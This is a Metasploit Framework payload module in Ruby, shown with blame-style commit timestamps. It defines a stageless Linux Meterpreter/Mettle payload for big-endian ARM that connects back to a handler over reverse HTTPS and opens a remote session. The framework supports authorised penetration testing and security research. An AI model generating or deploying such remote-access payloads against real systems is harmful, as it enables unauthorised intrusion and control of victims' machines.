2016-12-09 18:18:22 -06:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-12-09 18:18:22 -06:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2017-03-21 04:38:18 -05:00
|
|
|
require 'msf/core/handler/reverse_https'
|
2016-12-09 18:18:22 -06:00
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
|
require 'msf/base/sessions/mettle_config'
|
|
|
|
|
require 'msf/base/sessions/meterpreter_armbe_linux'
|
|
|
|
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
|
|
2019-02-06 22:32:24 -06:00
|
|
|
CachedSize = 1028092
|
2016-12-09 18:18:22 -06:00
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
2017-03-21 04:38:18 -05:00
|
|
|
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
|
|
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
2016-12-09 18:18:22 -06:00
|
|
|
'Author' => [
|
2017-03-21 04:38:18 -05:00
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
2017-10-30 14:04:10 -05:00
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
|
|
|
'timwr'
|
2016-12-09 18:18:22 -06:00
|
|
|
],
|
|
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'Arch' => ARCH_ARMBE,
|
|
|
|
|
'License' => MSF_LICENSE,
|
2017-03-21 04:38:18 -05:00
|
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
2016-12-09 18:18:22 -06:00
|
|
|
'Session' => Msf::Sessions::Meterpreter_armbe_Linux
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def generate
|
2017-06-08 11:20:48 +10:00
|
|
|
opts = {
|
|
|
|
|
scheme: 'https',
|
|
|
|
|
stageless: true
|
|
|
|
|
}
|
2017-03-21 04:38:18 -05:00
|
|
|
MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
|
2016-12-09 18:18:22 -06:00
|
|
|
end
|
|
|
|
|
end
|